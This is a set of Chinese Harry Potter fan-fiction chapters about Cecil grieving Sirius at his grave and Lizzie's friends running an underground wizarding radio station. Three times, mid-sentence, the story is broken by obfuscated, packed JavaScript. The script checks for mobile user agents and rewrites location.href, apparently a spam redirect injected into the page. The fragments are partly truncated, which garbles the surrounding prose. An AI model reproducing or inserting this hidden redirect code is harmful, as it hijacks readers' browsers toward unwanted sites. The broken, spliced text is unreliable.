刚刚从塞西尔手中接过魔杖的邓布利多,对着两个人跟前的墓碑轻轻划了一个圈,冷灰色的石碑眨眼间便被金色的花朵围绕,连那上面刻着的名字也一起被涂上了显眼的金粉。 “很格兰芬多,很适合他。”塞西尔僵硬地扯了扯嘴角,她想自己大约是想笑一下的,但脑子里的弦紧绷着,嘴角便有千磅重一般。 “听说你们正在筹备他的葬礼。”天气阴沉沉的,邓布利多的声音也带着雾气的重量。 “葬礼?哦,没有那样隆重,我和莱姆斯只是希望这里不要那么冷清。”塞西尔弯腰将一束白花蒲公英放在墓前,旁边的几朵百合和玫瑰还挂着露珠,“所以告知了所有的凤凰社成员,我们将西里斯安葬在了戈德里克山谷,我想唐克斯和阿拉斯托应该已经来过了。” 他们自然很想公开为他举办一场盛大的告别会,喜欢热闹的西里斯度过了那么多寂静且冰冷的夜晚,塞西尔总觉得他也许更想看到朋友们携手向他诉说好消息的模样,而不是在灰蒙蒙的夜色下,匆匆悼念,匆匆离去。 可懦弱的福吉政府仅仅是敷衍且潦草地在声明中提及了曾经对西里斯·布莱克的误判,避重就轻的笔法轻而易举让一段充满了悲剧的牢狱之灾变成了一个程序错误。更可惜的是,这几行字也被神秘人回归的重磅消息挤到了夹缝,在密密麻麻印着铅字的《预言家日报》中像是一条不起眼的洗发水广告。人们早已不再关心被误解成恶人的好人,人们只顾着担心自己会不会成为下一个死于黑魔法的可怜人。 话说完便不禁陷入沉思的塞西尔过了好久才回过神来,抬起头看到邓布利多已经走到了几步之外,在一块闪着亮光的雪白大理石墓碑前驻足。 “莱姆斯说那本来是他留给自己的地方,”塞西尔走上前,给墓前的百合花环施了一个保鲜的咒语,“所以西里斯大概也会愿意的,毕竟离莉莉和詹姆很近。” 一层薄薄的蜘蛛网罩在了二人的名字上,邓布利多俯身轻轻把它扫去,藏在长袍袖子下的那只手不小心露了出来,手指的关节变得焦黑,甚至见不到一点血肉,天色很暗,塞西尔没来得及看清,只觉得今天的邓布利多先生一反常态,透着疲惫与虚弱。 “珍贵的朋友是一生的宝物,”邓布利多的言语中掺着点遗憾,“你和莱姆斯一定比其他人更痛苦。” “我习惯了……”低声念出这句回答时,塞西尔愣住了几秒钟,最终没有再继续说下去,只是长舒一口气用寻常的语调开始汇报最近的情况。 “关于奥利凡德被绑架的事情,”她依然很难自然地称呼他为父亲,“莉兹说伏地魔要求手下的食死徒悄悄将人掳走,不要走漏风声,看来您先前的猜想是对的,他意识到了自己和哈利的魔杖之间有某种联系。” “我也确认过了,哈利是格里莫广场12号唯一的继承者,”邓布利多开口,“所以现在让莉兹搬进来会是最安全的做法。” “先生,她已经不再是孩子了,我经常忘记这件事,”塞西尔解释,“也许我都不一定能在那个瞬间做出这样的决定,她在奥利凡德被带走之前修改了他的记忆,之后也没有再回店里,至于去处,她说安顿下来之后会再通知我。” 邓布利多的叹气轻微得仿佛没有声音,他看向塞西尔盛满痛楚的双眼,当时她就带着这样的眼睛来到了自己的面前,十几年的光景竟没有改变她一分一毫。 “我很想夸她做得很好,但细想一下这太残忍了,”塞西尔攥紧了口袋里的金属酒壶,“邓布利多先生,我们都会走到这一步吗,会有胜利的时候吗?” “会的。”邓布利多的回应简洁也坚定,可塞西尔却不知道他是在说他们都会面临艰难的抉择,还是说胜利终究会到来。 一切归于宁静,墓前又只剩下她一个人,塞西尔缓缓倚着西里斯的墓碑坐在潮湿的地上,拧开酒壶的盖子轻轻碰了一下石碑,她自言自语了一声干杯,然后仰头喝了一大口,辛辣的烈酒入喉带来一阵熟悉的灼烧感。这是从放在西里斯棺材里那瓶龙舌兰里匀出来的一壶,他之前一直缠着她说想要这个,但塞西尔一直没舍得拿出来,现在自己留了大半瓶给他,也算是够慷慨了。 棺材里还放着西里斯最经常穿的袍子和他过去戴过的机车头盔,塞西尔和卢平把这家伙的房间翻了个底朝天,争论许久不知应该用什么代表他,最后只好是一人选了一个。龙舌兰是盖棺之前她偷偷扔进去的,她知道卢平有多讨厌喝酒的人,可谁能想到他居然有了两个酒鬼朋友。 塞西尔对空棺材并不陌生,这也不是她第一次面对一副空棺材了,只是上一次的经历像一次彻头彻尾的洗礼,她自此之后便成为了众人皆知的那个疯女人。不过有时候她觉得自己只是哭晕在了葬礼上而已,又怎么会比到死都蒙在鼓里,不相信最疼爱的小儿子早已死去的布莱克夫人更疯癫呢。原以为消散的执念突然在撕扯着她的神经,如果雷古勒斯能出现在她眼前,如今的她才不会迟钝而腼腆,她想自己一定会狠狠给他的肚子捶一拳头,逼他说出一切——到底给克利切下了什么样的命令,让他坚守至今都不愿透露半个字。 只要想起空荡荡的一切,塞西尔总在恍惚中幻想他们其实还存在,这只是她的两场噩梦而已。 连着喝了好几口,酒壶很快见底,塞西尔反过来将剩下的两滴倒进嘴里,然后艰难地扶着墓碑起身,摇摇晃晃踉跄了一步,便下意识两手抱紧了这块冷冰冰的石头。她自嘲地大笑了几声,用力拍了拍墓碑,拍得手心都发麻了。 “我走了,乖狗狗。” 说罢,她的身影消失在了雾色中,月光透过了一滴泪,照在西里斯·布莱克的名字上。 没过多久,第一个意识到塞西尔大约开始酗酒的人是莱姆斯·卢平,自从邓布利多宣布凤凰社总部回归之后,卢平便守在了这里,而塞西尔也将公寓退租搬了过来,外面纷杂的消息乱飞,他们需要在这里汇总所有成员了解到的事情。 穆迪和唐克斯偶尔会留下吃晚餐,斯内普已经很久没出现过了,至于金斯莱在斯克林杰上台后仍然被指派在唐宁街负责守卫工作,他觉得这不算是个坏主意,不用应付后福吉时代中老家伙们和新部长阵营间的冲突,毕竟斯克林杰为了巩固自己的选票,对食死徒采取了一些毫无意义的措施,颁布了一些徒有其表的政策,讲空话的领导者和懦弱的领导者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487893|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们似乎本质上并没有区别。唯一让金斯莱烦心的是首相秘书的工作太繁琐,他实在抽不开身亲自过来,只能通过守护神传递消息。 大多时候卢平都是一个人在屋子里,他从西里斯的房间挪到了楼下那间,总在一个人忙着写什么长篇大论,每周都要出去借一只猫头鹰。仍然在魔法部工作的塞西尔除了上班之外就是在外面晃荡,多半会在深夜时候带着一身酒气回到格里莫广场。 他们早上会在厨房碰个头,卢平见塞西尔甚至没办法稳住拿茶壶的手,没等他开口询问,对方已经掏出魔杖灵活地用上了悬浮咒。他知道西里斯的离去对塞西尔影响很大,也知道伯恩斯女士被伏地魔杀害的消息更是当头一棒,更知道老奥利凡德被绑架的事情绝不是“已经处理好的问题”,可尽管他什么都清楚,他也没有劝说塞西尔的资格。 在所有人之中有立场劝一个人振作起来的,从来都不会是他莱姆斯·卢平。好比塞西尔明白自己的状态被卢平看透,卢平也明白塞西尔不会没有注意到那些被自己放在一旁从未拆开的信,署名上的字母T实在太好猜了。 于是很默契地,他们同时选择了沉默,就像在一场伟大事业下的个人感受从不重要似的。况且凤凰社成员的任务向来不交叉,谁也不知道同伴在做些什么。 这晚安顿好的莉兹也终于给塞西尔寄来了第一封信,看到班克的那一刻,塞西尔恨不得将这只猫头鹰抱在怀里狠狠亲上几口。难得在晚餐时间在厨房碰见了对方,卢平把烤好的面包还有煮好的浓汤分给了塞西尔,顺便听她轻声念着侄女的信。 亲爱的塞西尔 很抱歉这么晚才联系你,我原本应该在搬到这里的当天就给你写信的,但是最近发生了太多麻瓜袭击事件,我正在帮助我的朋友整理事件信息并分析地点分布,最近刚刚安排完新一轮的巡逻行动,我希望能帮助到多一点无法使用魔法的人。 我的朋友杰姬和帕特里克,就是先前去巴黎度假时跟我和奥利弗在一起的两个人,你也许听说过,电台节目《魁地奇夜话》是他们策划的,我现在就在制作节目的工作室里住着,加上奥利弗,一共四个人。 我们轮替负责刚刚提到的巡逻,节目里还会转播一些求助信息,如果以后凤凰社有任何需求,我想他们也会愿意提供帮助的。 希望你一切都好,我很好,你不用操心。 P.S.也希望你没有再每天喝酒了。 思念你的莉兹 舀了一勺泡软的面包塞进嘴里,塞西尔嘟囔着看向一旁的人:“偷听就算了,你还偷笑。” “并没有,我只是在喝汤。”卢平轻哼了一声,他对信里的《魁地奇夜话》可太了解了。 “没有就没有呗,”塞西尔继续吃着面包,转头又开口道,“所以你知道这个电台?” “非常了解。”卢平点头。 “你又不喜欢魁地奇。”塞西尔耸了耸肩。 “但我喜欢他们犀利的角度和真实的态度,”卢平放下勺子,“人们需要一个帮他们说实话的媒介,拥有完全独立的观点。” “听起来像是伊莉莎喜欢的,”塞西尔应声,抬头与卢平对视,“也像你喜欢的。” 106. 离家出走四人组 凌晨近日出时分,楼下又变得嘈杂,快报废的皮卡在刹车时总会发出刺耳的动静,三两个人从车里跳下来,皮靴的厚底在潮湿的水泥上摩擦出声,伴随着全无收敛的笑闹,包裹着乐器的油布被扯开,莉兹总在这时候被吵醒。站在床上透过房间狭小的窗户看向街道对面,那群组乐队的年轻人常常昼伏夜出,一般过了午后才能听到零碎的敲鼓声,大约是在排练。 从巫师聚集的对角巷搬来这里时间还不长,莉兹不太习惯这样的邻居,起初连着几日都没能睡好觉,又因为街道狭窄,即便是用了一些驱逐麻瓜的咒语,用处也不大。伦敦东区堆叠着许多工业厂房,到处可见夸张的涂鸦和穿着风格前卫又奇特的麻瓜们,这群旁若无人的艺术家们看起来比巫师们还要自由。杰姬和对面的乐队还有隔壁的画家都相处得很不错,偶尔还会一起去拐角的酒吧喝酒。 看着窗外出神的时候,一只灰白色的猫头鹰撞在了玻璃上,它在窗台上挣扎着好一会儿,最后莉兹还是伸手将它轻轻扶起,让它停在自己的手臂上,而后用另一只手拾起掉落在地的《预言家日报》,在床上把它摊开。 上面仍然没有任何关于老奥利凡德的消息,福斯科先生的也是,好像他们只是和对角巷其他把店铺一样暂时关闭的店家一样,离开了这个危险的伦敦跑去别的地方避难了。 要真是这样的话就好了,莉兹长叹一口气,从斗篷口袋里摸出几个纳特,又摸了摸猫头鹰的脑袋,而后手臂一挥,让它飞出了房间。 就像帕特里克在她搬来的第一天时说的那样,莉兹的冷静经常让她看起来不像是一个真实的人,他还说有时候真以为莉兹是拉文克劳公共休息室那扇门的化身,面对所有事情都不带一点情绪色彩,只会用几句略带深意的话拐弯抹角避开提问,同时将疑惑甩回给对方。也许这种应对方式对杰姬和帕特里克还算管用,但是秋不知是从哪里得到了老奥利凡德失踪的消息,也许是她在魔法部工作的父母随口提到的,总之她很快就给伍德寄去了信。 知道了一切的伍德当然不能和盘托出,只能在莉兹的授意下简单做了回答,并表示他们正在一起,等过段时间都安顿好再找机会见面。 抓着报纸将房门打开,客厅里堆满了还没来得及处理的听众来信,在布罗克代尔大桥坍塌事件被证实是食死徒对麻瓜的袭击之后,杰姬的电台也成为了巫师们转播求助信息的平台。餐桌上还有昨晚没来得及收拾的餐具,水池里炖煮的大锅又糊了底,轮到杰姬做饭的时候经常发生这样的事情,帕特里克觉得杰姬那出神入化的文采就应该分一些给她那糟糕的厨艺,至少不会让他和莉兹被饿死,或者更可怕,被毒死。 莉兹挥了挥魔杖,水龙头被打开,刷子在糊底的汤锅里转着圈,桌上的餐具也缓缓飞向水池,她一边刷着牙,一边打开冰箱数着里面剩下的鸡蛋。他们三人每天接替负责家务,今天刚好轮到了莉兹,她除了比较擅长清洁咒语之外,在料理方面与杰姬也没什么区别,只是杰姬做出的饭菜一看就知道贴着“谨慎食用”的标签,而她的则是有着足够迷惑人的卖相和难以下咽的口感。 煎完鸡蛋时,杰姬起了床,她一脸疲惫还挂着黑眼圈,打着呵欠跟莉兹打了声招呼,而后便弯腰将地上的几封拆开的信捡起来,拉开椅子在餐桌旁坐下:“梅林的头也会痛吧,今天的节目得重新拟稿子了,英魁协夜里出大事了。” 锅里的鸡蛋和火腿飞起来落在桌上的白盘子上,莉兹转过身把手里的几套刀叉放下:“所以昨晚你们出去是因为这个?” “帕特还在那儿待着呢,”杰姬扭了扭脖子,发出嘎达嘎哒两声,“他说这次必须蹲到亚克斯利,不然他就再也不回来了。” “他真带着粪蛋去丢亚克斯利了?”莉兹控制着咖啡壶往空杯子里倒咖啡,“魔法部前员工不会被认出来吗?” 杰姬豪迈地将鸡蛋火腿都塞进嘴里,连连摇头,嚼了半天才习惯了这奇怪的调味,她继续开口说:“英魁协有委员提交了弹劾主席的申请,帕特现在混在那群拉着横幅讨要说法的魁地奇球迷里,谁知道他是谁。” “弹劾?”莉兹放下杯子,“昨天不是还说最新法案要重新商议吗?” “很显然,亚克斯利没有这个意思,你也知道联赛二十支球队已经只有六支还没宣布退出了,光是推迟96/97赛季的开幕赛时间本来就没用,”杰姬耸肩,“现在哈比和普德米尔也退出联赛了,英魁协只能宣布这个赛季取消,我猜今天奥利弗也会给我们带来点新消息。” “只是这样的话,帕特里克为什么一定要蹲到亚克斯利,”莉兹切开煎蛋,蛋黄的流心淌到火腿上,“哦,我的意思并不是亚克斯利不该死。” “哎呀,你还没来得及看夜里发来的新草案,”杰姬匆忙从纸堆里翻出一张羊皮纸,“巴格曼这老家伙虽说平时有够讨厌的,但有什么事情总会提前给我们透些口风。” 从上半年起,魁地奇比赛已经开始因为各种理由停止或推迟,单单是魔法部检查就有两三回,甲级以下的俱乐部一家跟着一家停止了营业,哪怕是甲级的队伍也面临着营业额赤字的困境,不得不转移股份和开放主场,而在职的选手们也大都去到了国外联赛。普德米尔联队和霍利黑德哈比队算是坚持得最久的两家俱乐部,在正式停赛前才宣布了退出,至于契机正是这份尚未完全公开的法案。 “三千五百万加隆的联赛保证金,”莉兹的视线落在这个令人难以置信的数字上,然后重复了一遍,“是我突然失去了识字的能力,还是魁协的委员们的大脑都被蜷翼魔吸走了。” “不愧是你,太冷静了,”杰姬丢了几块糖在咖啡杯里,一边搅动着一边说,“我和帕特在现场看到好几个人恨不得直接砸了魁协的门,大半夜点着焰火,天都被照亮了。” “因为太荒唐了,我反而没有愤怒的感觉,”莉兹将羊皮纸推到一旁,“所以亚克斯利,很显然这种事情只有他会做,要求所有希望保留联赛资格的俱乐部缴纳这笔费用,他的理由是为了在将来重建英格兰魁地奇,明明是食死徒在敛财……” “挺滑稽的,对吧?”杰姬笑了笑。 “那你认为我们这篇稿子今晚要播吗,”莉兹指着还没收尾的文章,“要是明面上反亚克斯利,会不会被看作是斯克林杰政府的支持者?” “帕特认为内容比立场更重要,而我和你想的一样,”杰姬看向莉兹,“魁协能这么快解散,背后必然有斯克林杰的推手,我不认为他的目的是为了魁地奇,不过大约也不是因为反伏地魔。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487894|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那个名字被念出来的时候,杰姬打了个冷颤,对面的莉兹也愣了一下,过了一会儿才接话:“那我把事实之外的推测性表达都删去,加上法案的内容。” “也只能这样了……”杰姬的话被推门的声响打断,淋了雨的帕特里克顶着狼狈的造型出现在门口,他的巫师袍上沾了彩色的颜料,下摆被火星烧了几个洞,急匆匆地走到餐桌旁将已经冷了的咖啡一饮而尽。 “呼——一个消息,亚克斯利滚蛋了。”帕特里克喘了两口气,“另一个消息,魁协所有委员都辞职了。” “协会解散了?”杰姬追问。 “更像是大家都逃跑了,”帕特里克摇摇头,“我在后门堵到了巴格曼,他说魔法体育运动司暂时冻结了全部的资金,至于以后的事情,还要等年底的部长会议。” “你怎么总是能从这老狐狸嘴里撬到猛料?”杰姬皱起眉头。 “因为我没有把世界杯地下赌盘的调查资料提交给伯恩斯女士,他知道斯克林杰还盯着这件事呢……”帕特里克一阵狼吞虎咽,三两口就吃光了盘子里的东西,生怕多嚼两下就能吃到什么奇怪的味道。 一句话说罢,餐桌上另外两个人的表情都变得有些复杂,帕特里克将咖啡壶里剩下的咖啡倒进杯子,喝了一大口接着补充道:“我不能真的两手空空就跑来租一个工作室吧,摔门辞职是你才会做的事情。” 他指着杰姬,扯了扯嘴角。 莉兹算是接受了这样的解释,正巧抬头看到米拉尼尔叼着一封信飞落在厨房外的窗台上,早晨的些许烦闷被扫空,先是打开窗将猫头鹰迎进来,而后把没吃完的火腿挪到它跟前。 “奥利弗的新消息也来了。”莉兹拆开信封,迅速扫了两眼,接着抬头面向二人,“看来我们之后总算不用饿肚子了。” “什么?”杰姬疑惑地凑过来瞟了一下信纸。 “普德米尔给所有人结算了工资,合约没满的选手都能收到一半的年薪,这可真挺良心的。”笑容出现在莉兹的脸上,“而且,他要搬过来和我们一起住了。” “啊哈,我们有厨子了。”帕特里克松了一口气。 “啊哈,我们有钱了。”杰姬也松了一口气。 这下四个离家出走的孩子便凑到了一起,帕特里克和杰姬的存款在电台成立初期就被花得七七八八,后来的日常运作基本依靠民间支持者们的赞助,而工作室内的生活开销来自杰姬的稿费,她在一本麻瓜杂志写连载小说,不过说起来是小说,其实写的都是她从小在霍格沃茨打魁地奇的真实故事,出于对巫师世界保密条例的考量,她给魁地奇起了一个新的名字——飞天球。 负责采购的帕特里克会在出门的时候,帮忙将稿子投递到杂志社的信箱,也会同时拿回一周的稿费。 这日傍晚时候,伍德提着行李来到了“新家”,屋内坐着的三人还在各自忙碌着,莉兹对晚上播出的稿子做着最后的修改,帕特里克在和杰姬对节目的流程,他们潦草地和他招了招手算是打招呼,然后又埋进了工作之中。站在原地环顾四周,杂乱的厨房和客厅和他前几天来的时候没有变化,莉兹蹙眉思考的表情也是一如既往,伍德放下背包,走到莉兹身旁微微弯腰吻了她的侧脸,接着便起身卷起袖子,向餐桌走去。 107. 一座孤岛 这日傍晚听到了敲门声,从混乱的信件中爬出来去开门的莉兹又一次见到了莱姆斯·卢平,男人比上一次在格里莫广场12号见面时瞧着还要憔悴一些,新生的白发混在棕色之中,让他的头发变成了花灰色。 在角落里的正忙着敲打字机的杰姬起身走过来,他们像老朋友似的问候彼此,不像曾经是师生,倒更像是伙伴。而莉兹仍然并不习惯和别人相处,即便卢平与塞西尔是亲近的好友,甚至一直到不久前莉兹才知道那些落款是罗慕路斯的稿件,其实是来自这位曾经教过她一年黑魔法防御术课程的卢平教授。 和过去发生过的很多事情一样,莉兹发现自己还是很难面对那些带有创伤的人,她会在失去了塞德里克的秋·张面前失去组织语言的能力,也会在失去了布莱克的卢平教授面前无法自处。哪怕是对着塞西尔,莉兹也只能配合着她装作什么事都没有发生过。 表达悲戚是一件困难的事情,就像她总把所有的悔意压在心里一样。 站在厨房里,莉兹深呼吸了一下,还是走了出去,杰姬正指着贴在客厅墙上的街道图说着巡逻的计划,还叹了口气:“最近这附近的巫师变多了,之前奥利弗差点被认别人出来了。” “昨天我还碰见了一只摄魂怪,它们并没有袭击麻瓜的意图,对我们也不是很感兴趣,好像在等着什么命令,魔法部不应该做些什么吗?”莉兹看向了卢平。 “斯克林杰不会承认摄魂怪已经在逐渐脱离控制的,”卢平顿了顿继续说道,“至于它们有多少倒向了伏地魔,我们只能做最坏的打算。” “巨人呢,它们也一样吗?”莉兹追问。 “可能还不仅仅是巨人,妖精、巨怪、吸血鬼……狼人,”卢平说到这里时眼神一暗,“所以接下来我要离开伦敦一段时间了,我会尽量跟你们保持信件联系,如果实在困难,塞西尔会接替我的任务。” “塞西尔?”这个陌生的名字让杰姬疑惑,“那唐克斯呢,这个月我们也没见到她。” 这个名字很明显让卢平的脸色变得更糟糕了,他移开目光也避开了话题,一边握住门把手一边说着:“伯恩斯女士去世后傲罗办公室要处理的事情太多了,她也不能让魔法部知道她和你们有关系,总之我把消息带到了,关于塞西尔……” 他看了一眼莉兹,仿佛在求助似的。 “我知道的,”莉兹点点头,“您也要注意安全。” 看着男人离开的背影,杰姬皱着眉头嘀咕道:“我总觉得他们俩有问题。” “谁们俩?”莉兹带上门转过身来,“卢平教授和塞西尔?” “莱姆斯和唐克斯。”杰姬已经习惯了称呼卢平的名字,“他们以前总是一块儿过来的,两个人和我们一起整理信件,一起聊天,那时候我还以为他们已经……” 她两手比划了一下,低头沉思了两秒又摆了摆手说:“算了算了,肯定是我写以前写八卦新闻写太多有后遗症了,所以塞西尔是什么人?” 莉兹微微耸肩,就当刚刚听到的猜测不存在,弯腰继续挑拣着信件,同时回答道:“塞西尔·奥利凡德,和卢平教授一样也是凤凰社的成员。” “是那个奥利凡德?”杰姬咦了一声,“疯女……”她脱口而出那个著名的外号,说了一半又立刻闭上嘴。 “伦敦确实只有一个奥利凡德呀。”莉兹轻哼,“是我的姑姑,没错,就是臭名昭著的‘疯女人’。” “其实我一直不明白大家为什么要这么说,”杰姬开始打抱不平,“不结婚有那么可怕吗?” “结婚才可怕吧。”莉兹笑了起来,帕特里克和伍德也正好进了门,他们听着两个姑娘的大笑声,完全摸不着头脑,杰姬还看向伍德笑得更夸张了。 “她们被袭击了?还是中咒语了?”伍德小声问。 “帮她们解个咒?”帕特里克缓缓举起魔杖。 “不,我们只是饿了。”说话同时,莉兹的魔杖在手里轻轻一挑,帕特里克的那根已经在空中转了两个圈,稳稳当当被一旁的杰姬抓住。 “你们下一次可以换个人来捉弄吗?每一次都是我。”帕特里克无奈摇摇头,向前一步接过自己的魔杖。 “不行,”杰姬果断拒绝,“奥利弗是梅林送给我们的救世主,我们需要他的炖牛肉。” “还有烤鸡。” “还有煎羊排。” “还有约克夏布丁。” “还有……” “停一停,停一停,”帕特里克打断了杰姬和莉兹的一唱一和,“这么些吃的就把你们收买了吗!” “那……”莉兹勾起嘴角,走到伍德身边摸了摸他的脸,“他是我的男朋友。” “好的,我输了。”帕特里克眉头紧锁。 杰姬大笑起来,又开始嘲笑帕特里克搭讪隔壁的画家姑娘被拒绝三次的事情,伍德却在这阵喧闹中显得过分安静了,搬过来已经有段时日,他依然很在意莉兹的状态,明明早就恢复了正常的作息与饮食,她看起来和当时在阁楼里的模样没有太大区别。整个人瘦得只剩了骨架一般,面颊凹陷,那双银色的眼睛本来就又圆又大,现在更是变得非常突出。 他在想莉兹一直没有给秋回信是不是因为不想让对方看到她现在的样子。 今天不是播送日,所以晚餐时间比平时要拖得久了一些,忙碌了成日的几个人总算有了喘口气的机会,坐在餐桌上闲聊了好一会儿,帕特里克和伍德分享白天在街区巡逻碰见的人和事,而留守在工作室的杰姬和莉兹也和他们讨论着有趣的信件。 不久之前,周播的《魁地奇夜话》被拆成到两个时间段,目前保持着隔日播送到频率,原本的魁地奇资讯节目被提早到晚上七点,主要内容是国外联赛的情况,莉兹包圆了翻译和撰稿的任务,伍德会帮忙做一些校对。至于罗慕路斯的专栏和救援信息则被安排到了凌晨一点,大多是魔法部不方便公开的消息,私底下有着各种渠道的帕特里克会负责这个部分,他暂时将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487895|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节目的名称定为“天狼星观测台”。 莉兹知道帕特里克一直以来都痴迷于天文学,所以才会给一档只说真话的节目起这个名字——目视最亮的恒星,他自然从未认识过刚刚离世的西里斯·布莱克,这样的巧合常常让莉兹有一种自己其实是在为一些无法将正义宣之于口的人们发声的错觉。 起初两档节目都是杰姬来主播,坚持了两周之后便交给了莉兹,她开玩笑说米歇尔二代的称号一定比她这个《每日魁地奇》的前主持人要有噱头多了。如今早就走出了那些关于魁地奇的回忆,莉兹对这样的调侃毫不在意,不仅如此,她在刚接档那一期节目的开场白中还介绍自己是“小米歇尔”(YoungMichelle)。 不过在这样的时局中,一个得不到魔法部背书又频繁挑衅食死徒群体的电台怎么会不被盯上,莉兹参考着格里莫广场12号的保密规则,将工作室的大门伪装成了一间不起眼的破旧警亭,只有拥有大门钥匙的人才能够看到它本来的样子,于是他们四人同时成为了保密人。麻瓜房东的记忆也被帕特里克修改了,老两口搬回了在曼彻斯特的老家,等到一切平息,他会过去将他们恢复原状的。 从那一日起,任何不被邀请的人无法看到入口,而即便是被邀请的人在离开后也会忘记工作室的位置。 当杰姬在深夜时说出“我们下期节目再见”,录音的设备被关闭,屋子突然变得一片寂静,在外面的帕特里克隔着玻璃看向里面,还醒着没有睡觉的莉兹会在沙发上整理着稿件,而总是要早起的伍德已经挨着她在打瞌睡,这个瞬间经常让帕特里克误以为这里其实是一座孤岛,并且这个世界上只有他们四个人,正在永无休止地向海中抛着一个又一个漂流瓶。 “大家早点休息。”杰姬推开门低声说着。 莉兹看了一眼已经陷入熟睡的伍德,和帕特里克一起点了点头,而后小声回应:“我改完这一段就睡。” 接着她轻轻拍了拍伍德,想把他叫醒回房间,帕特里克倒是在一旁笑了笑:“信不信,只要你起身,他立刻就会醒。” 没等莉兹回话,帕特里克又继续说:“就让他在这儿吧,我看他可不能离开你超过三秒。” 又被调侃了的莉兹抬起头,帕特里克却已经关上了房门,她轻轻叹了一口气,赌气似的捏着伍德的耳垂,可惜对方一点没觉得反感,只是换了个姿势躺在了她的腿上,呼出的热气隔着一件单衣一点点轻抚着小腹,莉兹不自觉低下了头,觉得胸口有些发闷。 “奥——利——弗——”她凑在他的耳边,“我也要睡觉啦——” 朦朦胧胧中听见了莉兹的声音,伍德还以为这是他的梦,扭过头看见那双眼睛,他伸手轻轻按住她的后颈吻上了她,吞下了她的第二声“奥利弗”,也吞下了梦境和现实模糊的界限。 直到天光大亮,伍德翻身从沙发上滚落在地,他忍着浑身的酸疼坐起来愣了好一会儿,才自言自语道:“所以我没有在做梦啊。” 108. 一个寻常的开学日 也许这也应该是一个寻常的九月一日,只是莉兹再也不用坐火车回学校了,她已经毕业了,不再是那个穿着巫师袍别着拉文克劳徽章的学生,角落的行李箱里还放着那个没有拆过封的牛皮纸袋,她觉得自己甚至可以想象出戴维斯是如何趾高气昂将它送到了秋的手中,也可以想象出秋联系不上自己的表情,低垂着眸子,长长的睫毛落下一片阴影,柔顺的黑发掩住侧脸,她的剪影总是美得不可方物。别说塞德里克拿这样的秋·张没办法,莉兹更是如此。 更何况,莉兹想起自己又一次说话不算数,没有和秋说再见,也没有和霍格沃茨好好道别。 前两天她和伍德与秋在一家麻瓜书店碰了面,这里离对角巷和魔法部还有一些巫师聚集的地区都很远,店里只有一个没什么精神的店员,时不时会看到他在整理着书的时候趴在梯子上打瞌睡。他们在角落的地板上坐下,莉兹随手抓过一本熟悉的小说摊在了腿上。 秋看着莉兹仍然瘦削的脸,刚见面时便埋怨地瞪了伍德好几眼,惹得伍德不得不躲避着她的视线,藏着秘密又不会撒谎的老实人可编不出足够让人信服的借口,那是莉兹的强项。可伍德却发现莉兹竟然选择了沉默,她似乎觉得用不说话就能把秋这段时间被蒙在鼓里的心情翻到下一页。 “我想这又是不能告诉我的事情,是吗?”秋笑了起来。 这一阵苦笑像钝刀一样划在莉兹和伍德的身上,莉兹竟然认为如果秋这时候掉两滴眼泪,自己可能还会觉得心安理得一点,而主动翻了页的秋只是继续讲着这个夏天发生的事情。 “迪戈里家搬走了?”伍德反问。 “搬回了德文郡,就是我们以前去度过假的房子,”秋的手捏着裙子下摆,“迪戈里先生和爸爸的关系变得不太好,妈妈也是,我想你们可能听说了,她之前被调去了乌姆里奇的部门……” 她说到这里停顿了一下,莉兹便和往常一样直接开口道:“因为斯克林杰没有罢免乌姆里奇的职位,所以部里开始站队了,是这样吧。” 秋点点头,瞥了一眼伍德说:“伍德先生一开始就斯克林杰派,是的,他之所以希望奥利弗离开伦敦,是因为梅根毕业后就去了巴黎工作,斯克林杰上任后就和法国魔法部部长约定好了一个职位,是留给他女儿的。” “难怪帕特里克那里从没听到过梅根的消息,”莉兹合上手里的书,“只知道同期进入魔法部的罗杰·戴维斯在给珀西打杂。” 也许是被说破了父母的站队选择,又或者是听到了那个麻烦的珀西的名字,伍德皱了皱眉头,他手托着下巴看向一边,下一秒又被莉兹掰了回来,要求他乖乖听她们两个聊天。 “还有最后一年,”秋松开裙摆,看向莉兹,“我也要离开霍格沃茨了,这太糟糕了,我完全不敢想象那一天之后的日子。” “没关系,会越来越糟糕的。”莉兹冷着脸说了一句玩笑话。 “真是不错的安慰,”秋这次笑得很释然,“我会一直记住的。” 一直聊到快天黑的时候,秋和他们在书店后巷分开,微弱的路灯在雾蒙蒙的天气里像是漂浮着的光源,让人眼前模糊,只是一眨眼的功夫,莉兹便牵着伍德幻影移形消失在了原地,只有虚幻的人影好像还没褪去,秋长长叹了一口气,从袖子里抽出了自己的魔杖。 